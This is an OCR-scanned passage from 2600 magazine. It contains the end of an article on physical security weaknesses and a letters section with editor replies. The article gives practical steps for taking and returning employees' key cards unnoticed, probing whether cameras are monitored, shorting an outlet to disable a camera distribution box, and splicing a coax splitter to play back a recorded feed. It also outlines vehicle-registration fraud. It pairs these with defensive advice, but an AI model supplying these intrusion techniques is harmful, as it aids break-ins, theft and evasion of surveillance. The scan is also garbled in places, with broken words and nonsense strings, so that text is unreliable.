sponsible and take heed. 

First up, the ubiquitous key card. Many orga
nizations swear by this method of portal control 
to such a degree that they lock down almost 
every door from supply closets and bathrooms to 
the front door. The fact of the matter is they love 
the feeling of security it gives to everyone every 
time they walk through a door. 

holes for our personal security to leak through. 
Can you renew your vehicle tabs online? Does 

it only take the plate number and the last six dig
its of the VIN to access the file? Can you manipu
late the information on file, such as the address? 
If you can change the registration information on
line, you can become the owner of just about any 
vehicle on the road. Once you're the owner you can 
report the vehicle stolen, leaving the true owner 
in a predicament when arrested for driving a 
stoLen vehicle. What if you were the person face 
down on the ground trying to explain to the law 
enforcement officer that you're driving your own 
vehicle? 

The number of identity theft victims is stagger
ing and growing every day. Many victims don't find 
out they are victims until they receive an overdraft 
notice from their bank or apply for a mortgage and 
find a number of outstanding accounts. The vic
tims then contact the businesses, fill out affi
davits, and file reports. Hours are spent on the 
phone and at the post office. A file grows with 
each letter sent and received. Victims hope they 
get the issue settled in time to refinance their 
home or obtain cable TV service. 

The information is out there. It doesn't take 
much to use or misuse it in society today. Protect 
your information with your life, because if your 
identity is stolen, you will spend your life trying to 
recover. 

Most establishments are governed by fire 
codes that require that when a fire alarm is 
pulled all electronic controlled doors in the vicin
ity are released (in some states even detention 
centers are covered by this type of code). This is 
to allow the fire department access to fight the 
fire. During a drill everyone must leave the area 
and they are directed to a safe location leaving 
these unlocked doors unattended. Time for an 
evildoer to do evil things. 

A best practice for security would be that 
when it is reasonably safe, a security agent 
should position himself near sensitive locations 
during a drill until the fire department can re
lieve him .  Note that a well placed security camera 
can perform this function if someone is looking 
at the cameras. Most guards will be too preoccu
pied with the fire drill and the fire trucks (the 
most excitement they've had all week). 
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Obvious Ly if you pi lfer a card from someone 
with  access to the  areas you need access to ,  
these Locks become  useLess. If  you were to take 
the  card from  someone as they Left for the day 
and  then drop it by their  desk when you were fi n 
i s hed, they'd fi nd  it the  n ext day and probabi Lity 
wou Ld n ever even report it. You wou Ldn't h ave to 
worry about your key card don or gai n i ng  access 
the next day as  most emp Loyees wi LL g LadLy h o Ld 
the  door open for their feLLow staff member. If 
you o n Ly needed access for a s hort period of 
ti me ,  you cou Ld ta ke the  card before they Left for 
Lun c h .  Then you can a Lmost a Lways be assured 
that the card donor wi LL both have someone with  
them to Let them i n  a nd  that a report wi LL not be 
fi led. 

The best practice for security is to be sta
tioned at each egress and visua lly check each 
person at the  beginning of each sh ift, Lunch  
time ,  and at the  end of the  shift. This wou Ld 
hig h Light  the missing cards . This m ust be fo L
Lowed up with  an inquiry of the database as to 
where the missing key card was used and a report 
to aLert the areas that were inappropriateLy ac
cessed. 

Now Let's turn our attention to the a Lm ighty 
security cam eras .  They are reLied on way too 
much by your typicaL  security department. They 
stick a camera anywhere they can fit one without 
the  support staff necessary to monitor it. The  
generaL wisdom is  that they are deterrents a L L  by 
themseLves . J ust the  mere sight of them makes 
peopLe behave. WeLL, that is the initiaL effect. 
Peop Le get freaked out at first but then they ad
just. Peop Le seem to be ab Le to get used to any
thing , even Big Brother. J ust ask any security 
guard stuck in front of a monitor the  things peo
pLe do on camera. It's a mazing. 

If you need to get by a camera, first see if 
anyone is watching or if it is even real. Start 
choking in front of one and see if anyone  com es 
to he Lp. Do this on different shifts and ma ke note 
of the resu Lts . Do n ot push this as it  wi ll get you 
noticed in a bad way very quickLy if  they reaLize 
you were fa king . Ask a friend to he Lp, that is, if  
you have any. If the  camera is  reaL and is being 
monitored, then one has to be more creative. If 
you are with security, trust your instincts . Log 
your suspicions with  this type of behavior if  you 
feeL  it may be BS. 

Even with the advent of network attached 
video cameras, most of them are sti ll hard wired. 
If you unpLug a ca m era there wi LL be many un
p Leasant questi ons to go around. Don't do this as 
most cameras are Laid out to cover each other. 
UnpLug one cam era and the  other has filmed you 
doi ng  it. If you want to take out a camera's cab Le,  
fi nd  the  distribution box. This box works Like a 

n etwork hub ;  many cameras are wired back to 
this box and  then  o n e  cab Le goes back to the  se
curity offi ce. In a smaLL i nstitution th is wi LL not 
work as they wi lL j ust be hard wired back to the  
main post (SOL) . 

If you can Locate the  roo m  that has  the  distri
bution box, many things can be done. First off 
you can j ust u np Lug the  camera there or switch 
one camera feed with  a different one. The secu
rity staff wi lL h ave a hard tim e  Locating it them
seLves especiaLLy off day shift. I f  you  find the  
c loset but  cannot gai n access, j ust Loo k  for an  
e Lectrica L outLet outside the c loset nearby. Most 
wi LL be fed from the same circuit. J ust s hort it out 
causing the  distributi on  box to die .  This works re
aL Ly weLL even if t hey are usi n g  a UPS ( battery 
backup) because if the  power goes out overnight 
they wi LL usually wait unti l morning to fix it and 
the UPS wiLL onLy give them about a haLf h our of 
power and then go dead. 

If you have u ninterrupted access to these dis
tri bution boxes you can even record a norma L 
feed and pLay it back Later so security has some
thing to watch when the camera goes out. Fi rst, 
s Lip in a coax spLitter in Line, then tape a normaL 
feed. Then, using the same spLitter, detach the  
camera and pLay back your recording. It  i s  impor
tant to ma ke sure you pLay back the same time 
frame. For exampLe, sunshine coming through a 
window at midnight  raises questions even with 
the  dimmest guards. Most time stamps come 
from the main system so your video wi LL even 
have the  right time superimposed on it. 

Security shouLd have the closets aLarmed or at 
Least have a camera on them to catch anyone 
messing with them. They must use a UPS and 
they shouLd tie them back to the operations cen
ter so when they go out engineering wiLL be 
aLerted. The  procedure shouLd be that these dis
tribution boxes are h igh priority and they cannot 
wait untiL the  next day to fix them. 

H opefuLLy this gives security professionaLs 
something to think about and to act on. If you're 
a bad guy and you try to use these tips for evil 
purposes, you wi LL probab Ly get caught. Most in
stitutions do not have aLL these ho Les Left open 
but if they do, maybe they need some encourage
m ent to pLug them up .  Buy them a copy of 2600 
and high Light this article . After aLL, they are pro
tecting you as weLL and if  they are doing a crappy 
job ,  they are putting you at ris k !  

I f  you  have any comments emai L me .  I f  you 
have a question I wiLL try to get back to you 
within your Lifetime or at Least by the end of 
mine. 
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Of Concern 

Dear 2600: 
I have to ask  if it is possi b le a n d/or p lausi b le that 

my attendance at a 2600 meeti ng  would be li kely to be  
considered a vio lation  of my probation  by the Secret 
Service. The reason I ask is because I am cu rrently do
i ng  five years probation  p rio r  to bei n g  sentenced. 

Hiro 
We assume you've got that backwards and your pro

bation came as a result of your sentence. It would be 
rather odd to do the probation first and then get sen
tenced. Legally, the only way you could get in trouble 
(assuming the meetings themselves aren 't specifically 
forbidden in the conditions of your probation) would be 
if you conversed with known felons. Since there are 
many idiots in power who assume that our meetings at
tract only criminals, you could find yourseLf being has
sLed over this. 

Dear 2600: 
To start with a positive accou nt: The bookstore I've 

pu rchased your magazi ne  from fo r the last yea r a nd  a 
ha lf a lways p rominently displays 2600 at the front of 
the computer magazi ne  section  at eye level. On top of 
that, many times I see upwards of 1 5  copies of your 
magazi n e  o n  display i n  th ree rows, more she lf space 
than any other i n  the sto re ! This i s  at the Pen n  Book
store i n  Ph i lade lphia (Ba rnes and Nob le under the 
guise of a u niversity run bookstore) . 

Now fo r the not so positive account: I've read that 
you lose money from stores that don 't scan your bar 
code. At this sa me  bookstore, the cashiers never sca n  
t h e  b a r  code.  Th ey a lways j ust punch i n  t h e  p rice. N ow I 
don 't rea lly know what to do in this situati on .  If I ask  
them to remove the charge a nd  then sca n  i n  the bar  
code ,  I 'm li kely to get some sort of i n credu lous  expres
sio n  on  the cashier's fa ce and (si nce this is Phi lade l
phia)  no action  concerning my req uest. Shou ld I go to 
another store? Si nce heari n g  Borders is a big contribu
to r to the Repub lican Pa rty, I 'm thi n ki ng  I may need to 
look  a little ha rder  fo r an a lternative. 

I hope mo re stores give you as much she lf space 
without robbi n g  you of your capita l. Tha n ks fo r the ex
cellent magazi n e !  

NoLi 
You shouLd continue to buy it wherever it's most 

convenient for you. If we do well in these stores, it 
makes it so much easier to sort out any probLems. The 
way the policy you mentioned works specifically with 
Barnes and NobLe is that issues that are unaccounted 
for are considered "shrink" which are basically issues 
assumed to be stoLen. This chain has the unique policy 
of hoLding pubLishers partially responsibLe for shrink. 
Our position is that there are numerous ways that is-
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penalized. BufjH'fIie.i!iilF-inore likeLy scenano invoLves 
cashiers simpfy'iffJf"t1etliIiing the magazine with a saLe. 
Management then begins to wonder where all the mag
azines went and assumes they all were stoLen. The pub
Lisher gets charged and the store keeps the proceeds 
from the saLe. At Least, this is how it appears to us. If 
someone in the know can reveaL the facts, we'd be 
happy to set the record straight. But from here it Looks 
horribLy unfair to pubLishers. 

Requests 

Dear 2600: 
So I saw the request for co llared shi rts i n  2 2 : 3 .  Se

rious ly, thi n k  about this .  There's a d ress code at the ISP 
where I work a nd  t-s hi rts a re verboten .  I 'd wea r a 2600 
po lo at the next company m eeti n g  with pride thoug h .  
Perhaps  somethi ng  i n  b lack? 

Dave L.  
We're aLways open to suggestion. And if enough 

peopLe suggest the same thing, we'll try to make it hap
pen. 

Dear 2600: 
A Big Corporate Too l's letter about diversity i n  

hacker clothi ng  i nspired me  t o  fi na lly speak up .  I know 
I can 't be 2600 's o n ly fem a le subscri ber. Have you ever 
thought about selli ng  some gir ly-style t-shi rts? Su re,  
it 's  possi b le to hack the men's t-shi rts i nto somethi ng  a 
little mo re femi n ine ,  but it would be nice to have some
th ing that I could wea r right out of the box. 

pseudofed 
Fi nLand 

Again, with enough input on the subject we'll do 
something. We just want to avoid making Large 
amounts of things based on one person 's suggestion 
that nobody eLse really wants. Products Like the hacker 
hooLa hoops, the "2600" dog sweaters, and those 
"Hacker Quarterly" hubcaps really seemed Like a good 
idea at the time but uLtimateLy faiLed to penetrate the 
marketpLace. 

An Idea 

Dear 2600: 
You had  mentioned in your letters that Verizo n has  

a service that a llows calls to be forwarded to your air
p la ne  seat a nd  that fai lu re to unforwa rd after disem
barki ng  from the p la ne  li kely resu lts i n  some h i la rious  
hij in ks .  

Would n 't it be great if the Verizon phone was smart 
enough  to automatica lly stop fo rwa rdi ng  at the end  of 
the flig ht? You could tie the forwa rdi ng  in with you r  
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flight  n u m ber which was tied to i nformation  a bout your 
fli g ht, li ke a r riva l ti me .  

I smell a money maki n g  opportunity here .  
Miles 

Looking for Advice 

Dear 2600: 
I live i n  the U . K . a nd  h ave been worki n g  fo r a cou

p le of years as a "secu rity p rofessiona l . "  Although  I en
joy my job ,  I a m  yet unfulfi lled fo r I have not done 
serious  traveli n g  so fa r a n d  I a m  g rowing  o ld . . . .  I've 
been savi ng  some,  a nd  the p la n  i s  to quit my job a n d  
start my g r a n d  tou r  of Centra l a nd  Southeast Asia some 
time  next yea r. I reckon it wi ll last up  to a yea r but who 
knows? Why a m  I telli n g  you a ll th i s ,  you wonder. The 
thi ng  i s  that I 'm a bit of a worka ho lic  a nd  a Westerner  
at hea rt. Although  I love traveli ng  I 'm afraid that trav
e li n g  a lone  wi ll not suffice to fi ll in the enormous gaps ,  
the a rtificia l  sense of bo redom that the Western world 
sad ly constructs when one  does not work 9-5 and  do a ll 
the things we Westerners do .  Where I am getti ng  at is 
this :  I have been greatly i nspired by your "Telephones 
of the World" section  in the mag  in some dista nt and  
exciti ng  p la ces li ke Mongo lia  a n d  Sri Lan ka !  This is ex
actly the sort of p lace where I'm headi ng .  

Long  story sho rt, I need a "theme" for my journey, 
somethi ng  to do when I'm on the road .  Not ta ki ng  pic
tu res of pub li c  payphones as  you 've a lready done that, 
but perhaps ta ki n g  pictu res of pub li c  computers, doi ng  
compa rative speed tests ( h a ! )  at pub li c  li braries ,  p la c
i n g  backdoors a ll over ( kiddi n g ! ) ,  raisi ng Internet 
awareness, or a nyth ing  a long  these li nes .  I thought I 
would ask  you because both the magazine people and  
the readers have often come  up with some b ri lli ant  
ideas .  Most p robab ly the theme wi ll be computer-re
lated but genera lly I'm open to a nything that ca n feed 
the spi rit a nd  keep me busy a n d  entertai ned .  I would be 
pa rticu la rly interested in mixi n g  stuff (such as musi c  
with computer science - a rti sts with different i n stru
ments ) .  I just need some help and inspi ration  from the 
com m unity! 

Pascal Cretain 
There are an infinite number of possibilities here. 

Just the combination of technology with tradition 
opens up a world of angles. While cultures vary dramat
ically from place to place, you can always find similari
ties in the people with regard to humor, adventure, 
exploration, and developing new things. The ability to 
communicate with the rest of the planet through the 
Internet or other means can either enhance a culture or 
push it towards deterioration. These are very vague 
concepts. Only you can fill in the specifics based on who 
you are and where your interests lie. We think it's safe 
to say that whatever you choose to do, you'll be in for 
some surprises. 

Dear 2600: 
I love your magazi ne .  Now I have a problem .  I sus

pect my gir lfriend is cheati n g  on  me  with some guy on 
the net. Is there some way I can reca ll a ll the content of 
thei r  conversation  and any i mages off of the ha rd d rive 
after they have been de leted? And is there a way I can 

hack  i nto her  and his (if at a l l  possi b le) H otma i l  ac
counts? Please he lp !  

ph uoc yu 
We can 't really spend a whole lot of time on rela

tionship counseling. But it seems as though this isn 't 
exactly a match made in heaven. If you discovered that 
she was cheating on you, that would probably put an 
end to your romantic bliss right there. But what if she 
wasn 't cheating and then she found out that  you were 
spying on her? That wouldn 't have a happy ending ei
ther. But don 't feel bad. We get asked this question 
more than any other by far. There's only one solution 
we've been able to come up with that really seems to 
work. Couples need to make a solemn vow to never use 
Hotmail. 

Dear 2600: 
I want to start off and  say that I 'm now a second 

year subscriber  and tha n ks fo r putti n g  out a g reat zi ne  
where the m enta lity i s  refreshi ng ly superio r. CWA1108 
said somethi ng  i n  2 2 : 3  about "The Company."  Well ,  the 
pena l  system I 'm currently detai ned i n  switched to Ver
izon within the past yea r. The i n m ates a re now being  
bruta lly exto rted .  Even though I p la ced a collect ca l l  to  
a desti nation  1100  mi les away, I fi nd  $36  for 1 5  min
utes excessive. I've tried various  methods to  overcome  
th i s  obstacle. I f  a nybody defeats t h i s  o r  knows how, 
p lease spi ll. There just seems to be no  reso lution  in 
sig ht. 

88LoGan14 
The only resolution is to pressure those phone com

panies and penal institutions that engage in this sort of 
extortion. In most cases inmates don 't have any choice 
as to which phone company to use and how they can 
place their calls (collect, prepaid PIN code, etc.). Since 
we're talking about prisoners, society is programmed to 
not care. But even those who feel that all prisoners are 
guilty should realize that it's ultimately their families 
who have to pay these huge and unfair bills. 

Inquiries 

Dear 2600: 
I am writi ng to i nqui re about the possi bi lity of writ

i ng  an a rticle rega rdi ng  the Muni-Meters used fo r pa rk
i n g  in Manhattan .  I've done  some i niti a l  resea rch but it 
wou ld be he lpfu l to know if someone e lse has a lready 
covered this subject so as  not to waste a sig nificant 
amount of ti me  flesh ing  out the deta i ls .  

Mike Moore 
It's pretty easy to see if the subject has been cov

ered before by rummaging through the article titles lo
cated in the back issues section of our online store 
(http://store.2600. com). We'll save you the trouble of 
doing that by saying that nobody has yet written such 
an article. We would be happy to consider it. 

Dear 2600: 
I have found  p revious  issues with the print too 

smal l  to conti nue  my subscri pti on .  Are your p resent is
sues la rger o r  easier to read?  

ctt2ra711  
We've gotten occasional complaints over the years 
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about this and have tried to find a common ground 
everyone can live with. If we make the size too big, we 
have to either print less or add pages which could drive 
the price up. Too small and our readers go out of their 
minds staring at the page trying to decipher the text. 
Hopefully you 'll pick up this issue and be able to see 
these words so you can tell us how we're doing. 

Dear 2600: 
H ello, my name  is Tim and  my Myspace account got 

hacked i nto. I was wonderi ng  if there was any way that 
you cou ld hack back i nto it and  get it back for me. 

Tim 
First off, that's what the last guy said. And now look 

what happened. But seriously, if someone indeed 
"hacked" your Myspace account, we'd be interested in 
knowing the technique they utilized. If someone simply 
guessed your password or shoved you aside and took 
over your session, that's not really a bona fide hack. It's 
also quite easy to get your account back on your own. 
All you have to do is click on the selection on the login 
screen for forgotten passwords and they will send you 
an email to the address you gave them which will allow 
you to log back in. If you also managed to lose access 
to that email address, you really ought to think about 
rebuilding your life before displaying it on Myspace. 
Start by learning how to protect your privacy by using 
hard-to-guess passwords, keeping them to yourself, 
and otherwise protecting your various accounts. 

Dear 2600: 
On the cover of 2 2 : 3 ,  is that the shadow of a Mc

Dona ld 's  si g n ?  
Decay 

Perhaps the cover of 22:4 answered your question. 

Dear 2600: 
I 'm 15 a n d  I got my fi rst issue of 2600 today. I love 

the magazi n e  a n d  I'm thi n ki ng  about subscribi ng  a n d  
maybe writi ng  a n  a rticle ( s o  I get a t-sh i rt and  free 
yea r) . My dad won't let me get a subscri pti on .  Can you 
put it i n  a package? 

zack 
Subscribers get their copies in envelopes that don 't 

even have the name of the magazine printed on them 
for people such as yourself who live under occupation. 
The same is true of everything we send out. Your article 
stands a much greater chance of being decent (and 
therefore accepted) if you write it with the intent of 
sharing something you 're enthusiastic and knowledge
able about rather than just writing it to get stuff in re
turn. Our theme over the years has been that 
knowledge and the spreading of information are re
wards in themselves. That said, we will always give as 
much cool stuff as we can to those who contribute such 
elements to our pages. 

Dear 2600: 
J ust out of curiosity, what two encryption  types and  

bit levels does  2600 use  to  store subscription  data? 
Peter 

Very nice try there but there are times when secu
rity through obscurity actually is an advantage. The 
number of people who know the answer to your ques-

tion could easily fit inside a residential bathroom. But 
we would never try that because it would involve all of 
them being on the same continent which in itself is a 
security risk. But we've already said too much. 

Dear 2600: 
What is http://www2.census .gov/pub/outgoing?  

Cody 
Pretty damn interesting is what it is. 

Dear 2600: 
I was watchi ng  TV today when my phone  ra ng .  I 

looked at the Caller ID ,  saw "Un known , "  a n d  thought I 'd 
let the  machi ne  pick it up .  To my su rprise,  when my ma
chine picked up  I heard a phone  ri ng ing  and  then the 
words,  "Th an k  you for calli ng  the Verizon Wi reless voice 
ma i l  system .  If you have a mai lbox on  this system 
p lease p ress pound fo llowed by you r  mai lbox n u m ber. "  
This m a d e  me  get up .  

T hen  a random ton e  was  heard .  I t  di dn 't s ound  li ke 
someone p ressi ng  a button on  thei r  phone  but more 
li ke a machi n e  noise no h uman  is ever supposed to 
hear. Immediately after the tone ,  the voice from Veri
zon said, "P lease enter the n u m ber now. If you don 't 
have a touch tone phone  or you requi re assi sta nce, stay 
on  the li ne . "  Right in the midd le of the word "assis
tance" the tone  ca n be heard agai n .  Then there was a 
pause,  then "P lease ho ld ,  someone wi ll be with you 
shortly. " Moments after that, "I 'm sorry, a n  operato r i s  
not avai lab le to  help you .  Sorry you ' re havi ng  trouble.  
Please try again later. Goodbye . "  Then the message 
ended. 

I a m  i n  the Phoenix,  Arizona a rea and  it rea lly 
piqued my i nterest as to how this happened .  How cou ld 
someone get my n u m ber to call  thei r  voice mai l? 

Jsnake 
There are all sorts of ways this could have hap

pened. Someone could have simply used three way dial
ing to connect you to another number. Or someone 
could have called you and then transferred the call to 
another number which picked up with a voice mail 
recording. Most times when things like this occur it's 
because someone didn't hang up properly which causes 
their phone to ring back. If they don 't pick up when this 
happens, the call could wind up going to voice mail. 
Not knowing more about the "random tone" and assum
ing it's not call waiting (which we presume would sound 
familiar to you), we really can 't speculate on what that 
might have been. But one thing seems certain to us: 
your phone wasn 't actually dialing anything. 

Dear 2600: 
I j ust received the fi rst issue of my new subscri ption  

(22 :3 )  and  read the enti re th ing i n  less than  a day. I 
enjoy the a rticles a n d  letters from other subscribers 
a nd  wi ll conti n ue  to subscribe  as long  as we a re both 
a round .  I have had  severa l people ask  me why your 
magazi n e  is ca lled 2600. I haven 't had  a n  an swer for 
them so I figu red I would go straight  to the source. Why 
is you r  magazi n e  ca lled 2600? 

Brian 
Apart from the Hotmail thing, this is the question 

we get asked the most. 2600 hertz was a magical fre-
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quency back in the early days of phone phreaks which 
allowed a mere end user to seize control of a long dis
tance trunk line and route themselves all over the net
work, internally, externally, overseas, etc. This was 
when in-band signaling was used to control phone 
calls, meaning the various tones would go along the 
same circuit that your voice used. These days all of that 
is done out-of-band and you don 't hear any of the cool 
sounds. There are exceptions in increasingly few places 
however. As to why we named the magazine "2600, " the 
name to us symbolized liberation, control of technol
ogy and exploration - all without using a single letter. 

Dear 2600: 
I am goi ng  for my Certified Ethica l Hacki n g  certifi

cation  and was b rowsi n g  a forum jotti ng  down notes fo r 
good study g uides when I ca me  across a thread where 
these two g uys went back a n d  fo rth about what was 
ethica l  and what wasn 't whi le th rowing  i n su lts at each 
other. 

I a m  torn between what both a re sayi n g  because I 
fee l  that they each had va li d  points. The guy who fi rst 
posted was sayi n g  that he did n 't li ke the fact that peo
p le who make m ovies, mu sic ,  p rograms ,  etc. charge an 
i n sane  amount of money fo r thei r  product. Also, that 
because they have mi l lions  and bil lions  of do lla rs, they 
a re not goi ng  to ca re if they ri p us  off for thei r  p roduct. 
In additi on ,  because they have so much money, they re
a lly a ren 't goi n g  to fee l  the effects of losi ng  a coup le 
mi l li on  here and  there.  Therefore, he felt j u stified i n  ei
ther tryi ng  to fi nd  a much  cheaper way of attai n i ng  
what  he  was  looki ng  for o r  not payi ng  a nythi ng  at a ll . 
However, the moderator had a very va li d  point as  well 
in sayi ng  that this does not j u stify "stea li n g . "  

My question  is what  a re you r  thoughts on  this? Li ke 
I said earli er, I am at a loss because I am in the same 
boat as the person who posted fi rst. I a m  i n  school ,  
worki ng  two jobs ,  and ca n bare ly afford a nythi ng  that is 
"for me."  It is extremely difficu lt to go after my CEH 
when it costs a few hund red to take the test and  I ca n
not afford even $50  right  now. The message that  I fee l  
he  was tryi n g  to com mun icate i s  that  when you have 
products, services, or trai n i ng  courses that a re p riced 
so high ,  they keep "the little guy" from getti ng  his feet 
on the g round  without first havi ng  to spend a lot of 
money and n u merous  years waiti n g  to j ust get his foot 
on that fi rst step of the ladder. But does this justify not 
payi ng  or payi ng  m uch less than  what these compa nies 
want fo r thei r  p roduct? 

On a side note, in 22 :4  someone wrote aski ng  about 
the copyright  owner of a rticles that a re p ri nted in you r  
fi n e  pub lication  w h e n  they a re t h e  author. B u t  I fee l  
that  it shou ld have been asked of a ll the a rticles, not 
j ust ones that the contri b uto r wrote. If I want to post 
a n  a rticle out of you r  magazi n e  that I thought was i n 
spiri n g  or  rea lly cool, a m  I a llowed to  do that  as lo ng  as 
I give proper credit? Tha n k  you fo r readi ng  this and 
than k  you for putti ng  out such a n  awesome magazi ne .  

P3ng u l n  
This is a complicated issue with no real black and 

white answer. It's generally not right to "steal" some
thing and all of the justifications put forth usually fall 
flat. But is it right if the item in question is priced out 

of reach of those who need it? Few would argue that 
stealing food from someone who has plenty is  wrong if 
starvation is the alternative. Or if a company holds the 
vaccine to a deadly disease and refuses to release it to 
those who can 't afford it it's more or less the duty of 
every civilized person to take it from them one way or 
another, whether it's getting their secrets or breaking 
down their doors. At some point, the rules of humanity 
supersede the rules of commerce. 

Taking things that you would "like" to have but 
upon which your survival is not dependent is fairly hard 
to excuse from a legal standpoint. We all understand 
the moral justification of "sticking it to the man " for 
overpricing various things but if you're building your 
own music library and not paying a penny for it you're 
not really coming up with a good alternative for anyone 
other than you. The goal is to get rid of any unfairness 
that is inherent in the system so that  everyone has an 
opportunity to get what they need and that  people who 
actually create the stuff aren 't left out in the cold. All of 
this is only made more complicated by the non-tangible 
nature of many of the items in question. 

Concerning our policy on articles, we don 't have a 
problem with posting an occasional article or even 
reprinting it in another magazine so long as full credit 
is given. Ultimately it's up to the actual writer of the ar
ticle to grant or deny such permission. 

Dear 2600: 
Fi rstly, thanks  fo r an excellent pub li cati o n !  I was 

i ntroduced to 2600 about a yea r ago by a good friend 
and  fellow hacker who showed me  a coup le of o ld issues 
and, need less to say, I was hooked from the start !  I 
wou ld li ke to take out a subscri pti on ,  however, I doubt 
that you'd accept checks/posta l orders in pounds  ster
li ng  (bei n g  in the U . K . )  a nd  I've never trusted wi re 
tra nsfers or mai li n g  cash  th roug h  the post. Does your  
ba n k  account have an  !BAN  or  SWIFT/BIC n u m ber that 
readers ca n use to tra nsfer subscription  fees to you in 
U.S. do llars? O r  a lternatively, does 2600 have a PayPa l 
account that could be used fo r the same  pu rpose? Also, 
wou ld you accept a lifeti me subscription  from someone 
livi ng  i n  the U . K . a nd  how much wou ld it cost? Fi na lly, I 
would li ke to ask if there a re any p la n s  fo r a U . K./Euro
pea n version of 2600? Although  a lot of the computer 
related stuff wi ll work over here, there seems to be 
nothi ng  coveri ng  phone and  other system hacki ng  out
side of the U .S .A .  There a re a lot of different systems  
that  ca n be  hacked i n  t he  U .K .  a nd  Eu rope but, to  my 
knowledge,  no pub lication  li ke 2600 exists that ca n 
b ri n g  such hacks/loopho les to the attention  of the gen
era l pub lic .  

Death 
We just started using PayPal on our online store 

(http://store. 2600. com). You need to set up an ac
count with them and it should start working. Lifetime 
subscriptions are the same price everywhere (US $260) 
which makes it an even better deal for those overseas. 
Lots of people want to have versions of "2600" in their 
countries which is quite flattering but ultimately such a 
publication must actually come from the people of that 
country. We're always happy to help insofar as giving 
advice, getting articles reprinted, etc. We do also try to 
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keep an international focus on the many topics that we 
discuss in these pages. 

Dear 2600: 
Can someone tell me a ll about the law rega rdi n g  

pu rchased a nd  licensed softwa re? H ow li kely i s  it t o  be  
enfo rced? In pa rticu la r, I a m  i nterested i n  the app lica
tion  of that law towards my activities i n  my home be
hind closed doors a s  I attempt to m a ke usefu l a 1995  
version  of Ouickbooks Pro ,  wh ich  I a m  locked out of  
s ince  I changed computers and  lost the p roduct key. 
The Ouickbooks people say this version  i s  no longer 
supported so they can not give m e  a substitute key. 

Can someone tell me a ll about some successfu l  
hacks t o  get past the damn  product key lock? In pa rtic
u la r, I 'd li ke to open this obsolete softwa re to my p ry
i ng  eyes .  Maybe some lovely machi n e  code cou ld then 
be  recompi led i n  some h igher  level la nguage .  O r  is this 
disk truly dead? 

Wi llie,  H acker Wannabe 
If there is any way you can prove that you actually 

bought the software, it seems hard to imagine that any
one would go after you for attempting to get a new key 
in order to use it. Before going down that road, climb 
as high as you can in the corporate infrastructure to be 
sure that  this "nonsupport" is in fact their policy and 
not just the words of a lazy customer service rep. 

Accolades 

Dear 2600: 
I received my missi ng  issue the other day and  wou ld 

j ust li ke to say thanks  for your prompt response.  Thanks  
again for such a wonderfu l magazi ne .  The ideas and  
knowledge that  I have g leaned from 2600 have been  i n 
va lua b le i n  many app lications .  I fi nd  that a g reat dea l  
o f  the t h i ng s  that I have lea rned have been  especia lly 
usefu l in severa l of my jobs and  have saved me from 
severa l b li n d  a l leys and  sil ly mista kes in my quest for 
wisdom and  understand ing .  I don 't thi n k  that I could 
adequately describe  how wonderfu l I thi n k  you r  maga
zi ne  i s .  When the powers that be fi na lly c la m p  down on  
you ,  I thi n k  that  they wi ll eventua lly rea lize that  they 
have done the world, not j ust the world of computing ,  a 
tremendous  disservice. You r  sense of i ntellectua l  i n 
qui ry a nd  question ing  I hope  never gets sta mped out 
by some Repub licrat zea lot. This sense i s  what m oves us 
fo rwa rd and ma kes us as  i ndividua ls and as  a society. 
Unfo rtunately, there a re people who can and  do misuse 
these a bi lities fo r thei r  own i lli cit ends  and it ma kes the 
rest of us loo k  bad . But then any form of knowledge can 
be misused.  Let's just hope that there a re people li ke 
you a nd  me to a lways keep an eye out a n d  stop them or, 
even better, to redi rect these people towa rds a better 
use of thei r  ab i lities .  Well, thanks  for letti n g  me rant 
and ram b le .  If you wou ld li ke I wou ld be wi lli ng  to write 
an a rticle that may or  may not be of i nterest to you .  Let 
me know to whom I shou ld send an a rticle a nd  I wi ll at
tempt to s ha re some of my gems of i n sight. 

Joe S. 
Thanks for your kind words and the foreshadowing 

of doom. Always a pleasure to hear. You can send your 

articles to articles@2600. com. 

Dear 2600: 
I love readi n g  you r  magazi ne .  The letters section  i s  

my favorite. I noticed the lottery n u m bers on  the app le 

on the tab le of contents page in 2 2 :4 .  They' re the Lost 
n u mbers.  They add up  to 108 and 4-8-15-16-23-42 
equa ls -100.  Can 't see a pattern though .  

mic911 
We don 't claim to have the answer but if you multi

ply them you wind up with a phone number. We've 
found that everyone who has that  number seems to be 
annoyed when their phone rings. If that's not a pattern 
we don 't know what  is. 

Dear 2600: 
My mother-i n- law renewed my subscription to 2600 

for an additiona l  two yea rs. It i s  nice to know that even 
the elderly can be  en lig htened .  Anyway, I got the first 

issue a nd  laughed out loud at the contents, especia l ly 
the a pp le .  Many people be li eve that Apple Computers 
b lew it years ago and " lost" the ma rket. I fi nd  it ironic 

that you wou ld p lace the " lost n u mbers" i n  the app le .  Of 

course, the imagery of the snake and  app le from the 

garden of Eden did not elude me .  Interesti ng .  Is the is
la nd  i n  Lost the Ga rden of Eden? 

Keep up  the g reat work and  mag.  

Partll 

Dear 2600: 
My husband a nd  son subscri be  to 2600 but this 

even ing  is the fi rst ti me  I 've picked it up .  Couldn 't un

derstand  the tech nical  pa rts (writi ng  teacher, not com

puter brai n )  but the lon g  a nd  de licious  letters section  
th ri lled m e !  Made me  fee l  so much better about ou r  

country. In fact, it made me  fee l  more secure than I've 
felt for a long time .  Knowi n g  there a re so many smart 

people out there who can p rotect us from Big B rother 
lifts my hea rt. 2600, you ' re he lpi ng  to make the world 
safe for democracy. B less you .  

All i n  a day's work. 

Queenie Marblebridge 
New Mexico 

Greeti ngs to the Fifth Hope Mission: 
I a m  so happy when I could visit you r  net. You had 

good p lans .  We a re th ri lled a bout your Hope. Please ac
cept my hea rti est congratu lations  fo r conducti n g  good 
p rogra m mi n g .  May God conti nue  to grant you si m i la r  
successes a l l  through you r  p lans .  G o d  h a s  du ly re

warded you r  si ncere p rayers. 

I lea rned about you r  youth Hope,  your spea kers, lo
cations ,  etc. O h !  It is very g reat. 

I am N. Rajasekhara m .  We had youth ministry. I a m  

worki ng  for youth . I thi n k  I wi ll be i ntroduci ng  my 
youth members to you r  Hope .  Please cooperate me. I 
wi l l join as a vo lunteer in you r  Hope .  I wi l l joi n ,  I wi ll do  

work  i n  you r  mission  with you r  "Jesus  compassi on . "  I 
wi ll not pay for cost of registration .  Please understa nd  

me .  I wi ll give my bio-data . Please accept me .  Please i n 
troduce my ministry with you r  dearest friends .  
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I wi ll p ray for "our  Hope . "  Pray for my min istry a nd  
me .  Send  me you r  i nformation .  You wi ll do registration  
i n  Hope i n  my name .  

Than king You 
In Hope 

N .  Rajasekharam 
OK, we have no idea what any of that was about. It 

